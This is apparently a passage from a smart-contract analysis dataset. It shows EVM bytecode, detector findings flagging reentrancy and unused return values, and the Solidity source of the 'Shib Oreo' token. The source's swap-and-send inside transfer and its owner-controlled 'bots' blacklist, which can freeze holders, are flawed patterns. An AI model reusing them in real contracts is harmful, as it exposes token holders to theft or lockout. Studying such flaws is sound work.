546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b600061286984828501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220558e87dd97f223dee844f64a3e6fffa1f67b68a8c58b5e510da0a92b91af88ab64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,070
0x1f8b2a071db304c8bcd150b3db3b17e2e0476719
/** *Submitted for verification at Etherscan.io on 2022-02-17 */ // SPDX-License-Identifier: UNLICENSED /* $SHIBOREO is a community based token for Shiba and Oreo community members to create a powerful community. Most of the tax will be simply used to buy back and burn the token to push the price and the supply of the token. Please check our website for further information: https://shiboreo.com/ https://t.me/shiboreo */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAOREO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Shib Oreo"; string private constant _symbol = "SHIBOREO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xAB925C26B2d71D2ba3ECf7A98F4631F0B07d0D40); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_001 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_001 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461164e565b610419565b005b34801561016857600080fd5b5060408051808201909152600981526853686962204f72656f60b81b60208201525b604051610197919061166b565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb3660046116e5565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b50670de0b6b3a76400005b604051908152602001610197565b34801561020157600080fd5b5061015a610210366004611711565b610481565b34801561022157600080fd5b506101c061023036600461172a565b6104c3565b34801561024157600080fd5b5061015a61025036600461176b565b61052c565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610577565b34801561029257600080fd5b506101e76102a136600461176b565b6105ab565b3480156102b257600080fd5b5061015a6105cd565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b50604080518082019091526008815267534849424f52454f60c01b602082015261018a565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c06103443660046116e5565b610853565b34801561035557600080fd5b5061015a61036436600461179e565b610860565b34801561037557600080fd5b5061015a6108f6565b34801561038a57600080fd5b5061015a610936565b34801561039f57600080fd5b5061015a6103ae366004611711565b610ade565b3480156103bf57600080fd5b5061015a6103ce366004611711565b610b16565b3480156103df57600080fd5b506101e76103ee366004611863565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b81526004016104439061189c565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610b4e565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b81526004016104439061189c565b66470de51b1cca008111156104c05760108190555b50565b60006104d0848484610c72565b610522843361051d85604051806060016040528060288152602001611a62602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f69565b610b4e565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016104439061189c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b81526004016104439061189c565b476104c081610fa3565b6001600160a01b03811660009081526002602052604081205461047b90610fdd565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016104439061189c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b81526004016104439061189c565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906118d1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf91906118d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906118d1565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610c72565b6000546001600160a01b0316331461088a5760405162461bcd60e51b81526004016104439061189c565b60005b81518110156108f2576001600660008484815181106108ae576108ae6118ee565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea8161191a565b91505061088d565b5050565b6000546001600160a01b031633146109205760405162461bcd60e51b81526004016104439061189c565b600061092b306105ab565b90506104c081611061565b6000546001600160a01b031633146109605760405162461bcd60e51b81526004016104439061189c565b600e546109809030906001600160a01b0316670de0b6b3a7640000610b4e565b600e546001600160a01b031663f305d719473061099c816105ab565b6000806109b16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3e9190611935565b5050600f805466470de51b1cca0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c09190611963565b6000546001600160a01b03163314610b085760405162461bcd60e51b81526004016104439061189c565b600f8110156104c057600b55565b6000546001600160a01b03163314610b405760405162461bcd60e51b81526004016104439061189c565b600f8110156104c057600c55565b6001600160a01b038316610bb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610dc057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0257506001600160a01b03821660009081526005602052604090205460ff16155b15610f59576000600955600c54600a55600f546001600160a01b038481169116148015610e3d5750600e546001600160a01b03838116911614155b8015610e6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e775750600f54600160b81b900460ff165b15610e8b57601054811115610e8b57600080fd5b600f546001600160a01b038381169116148015610eb65750600e546001600160a01b03848116911614155b8015610edb57506001600160a01b03831660009081526005602052604090205460ff16155b15610eec576000600955600b54600a555b6000610ef7306105ab565b600f54909150600160a81b900460ff16158015610f225750600f546001600160a01b03858116911614155b8015610f375750600f54600160b01b900460ff165b15610f5757610f4581611061565b478015610f5557610f5547610fa3565b505b505b610f648383836111db565b505050565b60008184841115610f8d5760405162461bcd60e51b8152600401610443919061166b565b506000610f9a8486611980565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f2573d6000803e3d6000fd5b60006007548211156110445760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061104e6111e6565b905061105a8382611209565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a9576110a96118ee565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611102573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112691906118d1565b81600181518110611139576111396118ee565b6001600160a01b039283166020918202929092010152600e5461115f9130911684610b4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611198908590600090869030904290600401611997565b600060405180830381600087803b1580156111b257600080fd5b505af11580156111c6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f6483838361124b565b60008060006111f3611342565b90925090506112028282611209565b9250505090565b600061105a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611382565b60008060008060008061125d876113b0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061128f908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112be908661144f565b6001600160a01b0389166000908152600260205260409020556112e0816114ae565b6112ea84836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132f91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061135d8282611209565b82101561137957505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113a35760405162461bcd60e51b8152600401610443919061166b565b506000610f9a8486611a08565b60008060008060008060008060006113cd8a600954600a5461151c565b92509250925060006113dd6111e6565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061105a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f69565b60008061145c8385611a2a565b90508381101561105a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b60006114b86111e6565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600754611505908361140d565b600755600854611515908261144f565b6008555050565b6000808080611536606461153089896115c1565b90611209565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d05750600061047b565b60006115dc8385611a42565b9050826115e98583611a08565b1461105a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80151581146104c057600080fd5b60006020828403121561166057600080fd5b813561105a81611640565b600060208083528351808285015260005b818110156116985785810183015185820160400152820161167c565b818111156116aa576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b80356116e0816116c0565b919050565b600080604083850312156116f857600080fd5b8235611703816116c0565b946020939093013593505050565b60006020828403121561172357600080fd5b5035919050565b60008060006060848603121561173f57600080fd5b833561174a816116c0565b9250602084013561175a816116c0565b929592945050506040919091013590565b60006020828403121561177d57600080fd5b813561105a816116c0565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b157600080fd5b823567ffffffffffffffff808211156117c957600080fd5b818501915085601f8301126117dd57600080fd5b8135818111156117ef576117ef611788565b8060051b604051601f19603f8301168101818110858211171561181457611814611788565b60405291825284820192508381018501918883111561183257600080fd5b938501935b8285101561185757611848856116d5565b84529385019392850192611837565b98975050505050505050565b6000806040838503121561187657600080fd5b8235611881816116c0565b91506020830135611891816116c0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118e357600080fd5b815161105a816116c0565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561192e5761192e611904565b5060010190565b60008060006060848603121561194a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561197557600080fd5b815161105a81611640565b60008282101561199257611992611904565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e75784516001600160a01b0316835293830193918301916001016119c2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a2557634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a3d57611a3d611904565b500190565b6000816000190483118215151615611a5c57611a5c611904565b50029056fe45524332303a207472616e736665722061